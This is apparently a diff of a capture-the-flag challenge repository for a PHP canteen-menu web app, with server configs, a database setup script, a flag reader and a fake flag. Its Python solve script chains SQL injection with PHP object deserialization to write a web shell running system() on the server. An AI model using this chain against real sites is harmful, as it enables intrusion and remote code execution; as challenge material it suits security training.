<form action="/" method="get">
<input type="search" id="site-search" placeholder="300" name="price" />
<button>Cheap Price Search</button>
</form>
</div>
<br>
<h2>Today we will satisfy you with:</h2>
<br>
<span id='food'> <?= $food ?></span>
</div>
</body>
</html>

View File

@@ -0,0 +1,20 @@
[global]
daemonize = no
error_log = /dev/stderr
log_level = notice
[www]
user = www
group = www
clear_env = On
listen = /run/php-fpm.sock
listen.owner = www
listen.group = www
pm = dynamic
pm.max_children = 15
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3

View File

@@ -0,0 +1,133 @@
#
# These groups are read by MariaDB server.
# Use it for options that only the server (but not clients) should see
#
# See the examples of server my.cnf files in /usr/share/mysql
# this is read by the standalone daemon and embedded servers
[server]
# this is only for the mysqld standalone daemon
[mysqld]
#
# * Basic Settings
#
user = mysql
pid-file = /run/mysqld/mysqld.pid
socket = /run/mysqld/mysqld.sock
#port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
#skip-external-locking
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address = 127.0.0.1
#
# * Fine Tuning
#
#key_buffer_size = 16M
#max_allowed_packet = 16M
#thread_stack = 192K
#thread_cache_size = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
#myisam_recover_options = BACKUP
#max_connections = 100
#table_cache = 64
#thread_concurrency = 10
#
# * Query Cache Configuration
#
#query_cache_limit = 1M
query_cache_size = 16M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file = /var/log/mysql/mysql.log
general_log = 1
#
# Error log - should be very few entries.
#
log_error = /var/log/mysql/error.log
#
# Enable the slow query log to see queries with especially long duration
#slow_query_log_file = /var/log/mysql/mariadb-slow.log
#long_query_time = 10
#log_slow_rate_limit = 1000
#log_slow_verbosity = query_plan
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
# other settings you may need to change.
#server-id = 1
#log_bin = /var/log/mysql/mysql-bin.log
expire_logs_days = 10
#max_binlog_size = 100M
#binlog_do_db = include_database_name
#binlog_ignore_db = exclude_database_name
#
# * Security Features
#
# Read the manual, too, if you want chroot!
#chroot = /var/lib/mysql/
#
# For generating SSL certificates you can use for example the GUI tool "tinyca".
#
#ssl-ca = /etc/mysql/cacert.pem
#ssl-cert = /etc/mysql/server-cert.pem
#ssl-key = /etc/mysql/server-key.pem
#
# Accept only connections using the latest and most secure TLS protocol version.
# ..when MariaDB is compiled with OpenSSL:
#ssl-cipher = TLSv1.2
# ..when MariaDB is compiled with YaSSL (default in Debian):
#ssl = on
#
# * Character sets
#
# MySQL/MariaDB default is Latin1, but in Debian we rather default to the full
# utf8 4-byte character set. See also client.cnf
#
character-set-server = utf8mb4
collation-server = utf8mb4_general_ci
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Unix socket authentication plugin is built-in since 10.0.22-6
#
# Needed so the root database user can authenticate without a password but
# only when running as the unix root user.
#
# Also available for other users if required.
# See https://mariadb.com/kb/en/unix_socket-authentication-plugin/
# this is only for embedded server
[embedded]
# This group is only read by MariaDB servers, not by MySQL.
# If you use the same .cnf file for MySQL and MariaDB,
# you can put MariaDB-only options here
[mariadb]
# This group is only read by MariaDB-10.3 servers.
# If you use the same .cnf file for MariaDB of different versions,
# use this group for options that older servers don't understand
[mariadb-10.3]

View File

@@ -0,0 +1,39 @@
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /dev/stdout docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
server {
listen 80;
server_name _;
index index.php;
root /www;
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
}

View File

@@ -0,0 +1,23 @@
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:fpm]
command=php-fpm7.1 -F
autostart=true
priority=1000
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:nginx]
command=nginx -g 'daemon off;'
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

View File

@@ -0,0 +1,42 @@
#!/bin/bash
chmod 600 /entrypoint.sh
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &
while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done
export DB_USER="user_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
export DB_NAME="db_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
mysql -u root << EOF
CREATE DATABASE $DB_NAME;
CREATE TABLE $DB_NAME.food (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(255),
oldvalue VARCHAR(255),
price float,
PRIMARY KEY (id)
);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Spaghetti', '', 2.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Burger', '', 100.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Cookies', '', 22.30);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Lasagna', '', 7.50);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Schnitzel', '', 5000.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('','YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9', 0);
CREATE USER '$DB_USER'@'%';
GRANT SELECT, UPDATE ON *.* TO '$DB_USER'@'%';
ALTER USER 'root'@'localhost' IDENTIFIED BY 'test123';
FLUSH PRIVILEGES;
EOF
echo -e "fastcgi_param DB_NAME $DB_NAME;\nfastcgi_param DB_USER $DB_USER;\nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params
/usr/bin/supervisord -c /etc/supervisord.conf

View File

@@ -0,0 +1,39 @@
import requests
from base64 import b64encode
SITE_URL = "https://c3438387fc4b879a3ef7e4c9-80-canteenfood.challenge.cscg.live:1337/"
malicious_site = """
<html>
<body>
<h1><?= system("../../readflag"); ?><h1>
</body>
</html>
"""
def sql_injection_oldvalue(payload: str):
return f'2 UNION SELECT NULL as id, "" as name, "{payload}" as oldvalue, NULL as price'
def arbitrary_append(filename, content):
php_object = f'O:+10:"AdminModel":2:{{s:8:"filename";s:{len(filename)}:"{filename}";s:10:"logcontent";s:{len(content)}:"{content}";}}'.encode('ascii')
encoded_php_object = b64encode(php_object).decode('ascii')
injection_string = sql_injection_oldvalue(encoded_php_object)
params = {'price': injection_string}
session.get(SITE_URL, params=params)
def retrieve_flag(filepath: str):
response = session.get(SITE_URL + filepath)
if response.status_code == 200:
return response.text
else:
raise RuntimeError(f"Injected php script is not present at {filepath}")
session = requests.Session()
filepath = "views/injection.php"
arbitrary_append(filepath, malicious_site)
flag = retrieve_flag(filepath)
print(flag)

View File

@@ -0,0 +1 @@
dach2025{fakeflag}

View File

@@ -0,0 +1 @@
--- Log File who accessed the canteen plan ---<br>

View File

@@ -0,0 +1,17 @@
#include <stdio.h>
int main(void) {
char flag[256] = {0};
FILE* fp = fopen("/flag.txt", "r");
if (!fp) {
perror("fopen");
return 1;
}
if (fread(flag, 1, 256, fp) < 0) {
perror("fread");
return 1;
}
puts(flag);
fclose(fp);
return 0;
}

BIN
htb/.DS_Store vendored

Binary file not shown.